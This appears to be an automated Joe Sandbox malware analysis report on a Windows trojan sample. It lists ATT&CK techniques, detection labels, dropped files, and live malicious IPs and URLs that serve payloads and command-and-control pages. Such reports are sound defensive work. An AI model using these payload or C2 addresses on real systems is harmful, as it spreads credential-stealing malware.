Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	13 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\rnd[1].exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[1].exe	50%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Bijouterie\tak_deco_lib.dll	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Packed.Themida
C:\Users\user\DocumentsIDGHDGIDAK.exe	50%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe50623	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/sqlite3.dll4	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe8	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dll/	100%	Avira URL Cloud	malware
https://community.mp3tag.de/	0%	Avira URL Cloud	safe
https://download.mp3tag.de/versions.xmlCMTUpdater::HandleLatestVersion	0%	Avira URL Cloud	safe
http://31.41.244.11/	0%	Avira URL Cloud	safe
https://community.mp3tag.de/pStaticSupport	0%	Avira URL Cloud	safe
https://www.mp3tag.de/en/donations.htmlpStaticDonate	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeXU.QP	0%	Avira URL Cloud	safe
http://31.41.244.11/files/rnd.exeex.phpr	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpHG	100%	Avira URL Cloud	malware
http://31.41	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpD52	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllr	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpX#R	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllo	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exephp	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllj	100%	Avira URL Cloud	malware
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllL	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbP	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe8-3693405117-#	0%	Avira URL Cloud	safe
https://docs.mp3tag.de/credits/	0%	Avira URL Cloud	safe
https://www.mp3tag.de/en/donations.html	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php(_	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dll/	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeX	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe13	0%	Avira URL Cloud	safe
http://185.215.113.206ocal	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php.10	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe5062384	0%	Avira URL Cloud	safe
http://31.41.244.11/files/rnd.exefc8506238476	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.181.78	true	false	high
play.google.com	172.217.19.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://c.msn.com/c.gif?rnd=1732291741203&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=9aecdf6384254054b34c2d28c33bb36c&activityId=9aecdf6384254054b34c2d28c33bb36c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FE5BBD40A0CF427BA444C5123269F69F&MUID=379C33D393BD6E761EBE26EC92DF6F66	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291746979&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1732291741203&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=379C33D393BD6E761EBE26EC92DF6F66&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291746981&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1732291741203&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=379C33D393BD6E761EBE26EC92DF6F66&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291747989&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/sqlite3.dll4	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	false		high
http://www.vmware.com/0	Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.broofa.com	chromecache_475.5.dr	false		high
http://31.41.244.11/files/random.exe50623	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.discogs.com/oauth/access_token	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false		high
https://ntp.msn.com/0	000003.log9.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.10.dr	false		high
http://31.41.244.11/files/random.exe8	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg	file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
http://31.41.244.11/	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700	file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.mp3tag.de/en/donations.htmlpStaticDonate	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dll/	file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.10.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta	file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://api.discogs.com/oauth/identity	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false		high
https://download.mp3tag.de/versions.xmlCMTUpdater::HandleLatestVersion	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
https://www.discogs.com/oauth/authorize	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false		high
https://community.mp3tag.de/	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exeXU.QP	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false		high
https://community.mp3tag.de/pStaticSupport	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpHG	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllr	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.symauth.com/cps0(	Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpD52	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpX#R	file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php8	file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41	skotes.exe, 0000001B.00000002.2712835094.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/rnd.exeex.phpr	skotes.exe, 0000001B.00000002.2712835094.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_475.5.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllo	file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.symauth.com/rpa00	Mp3tag.exe, 0000001E.00000002.2713059997.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllj	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpH	file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	Mp3tag.exe, 0000001E.00000002.2713059997.0000000002B80000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
http://31.41.244.11/files/random.exephp	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllL	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe8-3693405117-#	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://msn.comXIDv10	Cookies.11.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://docs.mp3tag.de/credits/	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpgPreference.VerbP	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/.	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe13	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr	file.exe, 00000000.00000002.2016301876.00000000239A3000.00000004.00000020.00020000.00000000.sdmp, AFHDBGHJKFIDHJJJEBKE.0.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log9.10.dr	false		high
https://www.mp3tag.de/en/donations.html	Mp3tag.exe, 0000001E.00000002.2715547997.00000001407FC000.00000002.00000001.01000000.00000012.sdmp, Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll/	file.exe, 00000000.00000002.1987080237.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206ocal	file.exe, 00000000.00000002.1985884053.0000000000E07000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.njy8xaI_aUJp	IDGDAAKFHIEHIECAFBAAEBKFBA.0.dr	false		high
http://185.215.113.16/mine/random.exeX	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://musicbrainz.org	Mp3tag.exe, 0000001E.00000000.2655575071.00000001407FC000.00000002.00000001.01000000.00000012.sdmp	false		high
https://ntp.msn.com	000003.log3.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php(_	file.exe, 00000000.00000002.2016301876.00000000239B1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php.10	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-staging.corp.google.com/	manifest.json0.10.dr	false		high
http://31.41.244.11/files/random.exe5062384	skotes.exe, 0000001B.00000002.2712835094.0000000001135000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi	AFHDBGHJKFIDHJJJEBKE.0.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1759072496.000000002394E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987080237.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDH.0.dr	false		high
http://185.215.113.206/U	file.exe, 00000000.00000002.1987080237.0000000001589000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/rnd.exefc8506238476	skotes.exe, 0000001B.00000002.2712835094.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_475.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.1.248.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.199.62.75	unknown	United States	20940	AKAMAI-ASN1EU	false
23.200.0.6	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.238.49.74	unknown	United States	16509	AMAZON-02US	false
104.70.121.219	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
23.44.203.68	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
20.189.173.23	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.72	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.78	plus.l.google.com	United States	15169	GOOGLEUS	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.9
192.168.2.10
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561038
Start date and time:	2024-11-22 17:07:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/305@30/26
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, Runtimeuserer.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.46, 64.233.165.84, 34.104.35.123, 199.232.210.172, 172.217.19.10, 142.250.181.42, 172.217.19.202, 172.217.17.74, 142.250.181.106, 172.217.17.42, 142.250.181.10, 172.217.19.170, 142.250.181.74, 172.217.19.234, 142.250.181.138, 216.58.208.234, 172.217.21.42, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 13.107.6.158, 13.87.96.169, 104.86.110.72, 2.16.34.27, 2.16.158.32, 2.16.158.186, 2.16.158.34, 2.16.158.48, 2.16.158.43, 2.16.158.40, 2.16.158.187, 2.16.158.192, 2.16.158.35, 23.32.239.58, 2.19.198.17, 2.16.158.51, 2.16.158.58, 2.16.158.56, 2.16.158.59, 92.122.154.113, 92.122.154.112, 104.86.111.8, 92.122.154.118, 92.122.154.111, 104.86.111.10, 92.122.154.104, 92.122.154.103, 92.122.154.110, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.16.158.83, 2.16.158.90, 2.16.158.169, 2.16.158.96, 2.16.158.91, 2.16.158.81, 2.16.158.170, 2.16.158.80, 